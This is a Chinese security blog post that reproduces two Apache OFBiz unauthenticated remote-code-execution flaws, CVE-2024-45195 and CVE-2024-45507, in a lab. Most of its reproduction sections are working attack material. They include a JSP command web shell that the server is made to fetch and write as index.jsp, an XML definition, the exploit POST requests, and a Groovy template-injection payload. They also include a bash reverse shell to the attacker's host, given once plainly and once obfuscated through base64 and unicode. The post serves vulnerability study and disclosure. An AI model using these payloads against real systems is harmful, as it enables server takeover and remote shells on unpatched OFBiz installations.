申明:本文仅供技术交流,请自觉遵守网络安全相关法律法规,切勿利用文章内的相关技术从事非法活动,如因此产生的一切不良后果与文章作者无关。
0x01 CVE-2024-45195
一、漏洞描述
Apache OFBiz < 18.12.16版本中未经身份认证的远程攻击者可通过控制请求从而写入恶意文件获取服务器权限,造成远程代码执行。
二、漏洞原理
该漏洞本质上还是ofbiz的路由与鉴权问题,是由于之前漏洞(CVE-2024-32113、CVE-2024-36104和CVE-2024-38856)未完全修复所导致。关于ofbiz的历史RCE漏洞,路由与鉴权问题可以看我之前的文章:
Apache OFBiz RCE:从CVE-2020-9496到最新CVE-2024-38856
在Apache OFBiz版本18.12.16之前,开发人员对这些先前的问题进行了修复,但控制器视图地图状态不同步的根本问题仍然存在。这使得攻击者能够绕过身份验证并访问敏感的仅限管理员的视图地图。
漏洞细节已在互联网公开,详情请看:
https://www.rapid7.com/blog/post/2024/09/05/cve-2024-45195-apache-ofbiz-unauthenticated-remote-code-execution-fixed/
三、漏洞复现
1.环境搭建
下载OFBiz 18.12.15版本:
wget https://dlcdn.apache.org/ofbiz/apache-ofbiz-18.12.15.zip
安装(需要JDK8+):
unzip apache-ofbiz-18.12.15.zip
cd apache-ofbiz-18.12.15
./gradle/init-gradle-wrapper.sh
./gradlew cleanAll loadAll //需要等一段时间,我等了十多分钟
./gradlew cleanAll "ofbiz --load-data readers=seed,seed-initial" loadAdminUserLogin -PuserLoginId=admin
vim framework/security/config/security.properties //找到host-headers-allowed添加访问时的IP头,我的是10.211.55.6
./gradlew ofbiz
然后访问https://yourip:8443/accounting即可
2.漏洞复现
该漏洞利用需要目标机器能够出网,尚未可知有没有不出网的玩法
在攻击机器开一个web服务,服务下放置两个文件:
rceschema.xml:
<data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8">
<record name="rceentry" limit="many">
<field name="jsp" type="String" length="607" position="0"></field>
</record>
</data-file>
</data-files>
rcereport.csv:
<%@ page import='java.io.*' %><%@ page import='java.util.*' %><h1>Hello!</h1><br><% String getcmd = request.getParameter("cmd"); if (getcmd != null) { out.println("Command: " + getcmd + "<br>"); String cmd1 = "/bin/bash"; String cmd2 = "-c"; String cmd3 = getcmd; String[] cmd = new String[3]; cmd[0] = cmd1; cmd[1] = cmd2; cmd[2] = cmd3; Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine();}} %>,
然后发送如下请求包:
POST /webtools/control/forgotPassword/viewdatafile HTTP/1.1
Host: yourip:8443
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: */*
Content-Length: 241
Content-Type: application/x-www-form-urlencoded
DATAFILE_LOCATION=http://vpsip:port/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://vpsip:port/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce
可以看到目标机器向我们的攻击机器发起请求:
访问/accounting/index.jsp?cmd=whoami
反弹shell:
/accounting/index.jsp?cmd=bash+-i+>%26+%2Fdev%2Ftcp%2F10.211.55.3%2F1234+0>%261
0x02 CVE-2024-45507
一、漏洞描述
Apache OFBiz 18.12.16之前的版本存在一处SSRF与远程命令执行漏洞,未经身份验证的攻击者可以利用该漏洞执行任意命令并控制服务器。
二、漏洞原理
该漏洞本质上还是ofbiz的路由与鉴权问题,ofbiz 允许远程加载文件来渲染screen,比如StatsSinceStart这个screen,通过二次模版注入可进行远程代码执行。
该漏洞的分析可以参考先知和404实验室的paper:
https://xz.aliyun.com/t/15569
https://paper.seebug.org/3228/
三、漏洞复现
1.环境搭建
使用上面的OFBiz 18.12.15版本
2.漏洞复现
在攻击机器开一个web服务,服务下放置如下文件:
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">
<screen name="StatsDecorator">
<section>
<actions>
<set value="${groovy:'payload'.execute();}"/>
</actions>
</section>
</screen>
</screens>
反弹shell时,payload为:
先对bash -i >& /dev/tcp/ip/port 0>&1
进行base64编码,然后再对bash -c {echo,base64编码}|{base64,-d}|{bash,-i}
进行unicode编码。
我这里是:
u0062u0061u0073u0068u0020u002Du0063u0020u007Bu0065u0063u0068u006Fu002Cu0059u006Du0046u007Au0061u0043u0041u0074u0061u0053u0041u002Bu004Au0069u0041u0076u005Au0047u0056u0032u004Cu0033u0052u006Au0063u0043u0038u0078u004Du0043u0034u0079u004Du0054u0045u0075u004Eu0054u0055u0075u004Du0079u0038u0035u004Fu0054u006Bu0035u0049u0044u0041u002Bu004Au006Au0045u003Du007Du007Cu007Bu0062u0061u0073u0065u0036u0034u002Cu002Du0064u007Du007Cu007Bu0062u0061u0073u0068u002Cu002Du0069u007D
发送如下数据包:
POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
Host: 10.211.55.6:8443
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 24
statsDecoratorLocation=http://10.211.55.3:8080/rce.xml
攻击机上收到请求:
并获得shell:
参考链接:
https://www.rapid7.com/blog/post/2024/09/05/cve-2024-45195-apache-ofbiz-unauthenticated-remote-code-execution-fixed/
https://xz.aliyun.com/t/15569
https://paper.seebug.org/3228/
如果喜欢小编的文章,记得多多转发,点赞+关注支持一下哦~,您的点赞和支持是我最大的动力~
原文始发于微信公众号(沃克学安全):Apache OFBiz 未授权 RCE:CVE-2024-45195和CVE-2024-45507复现
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论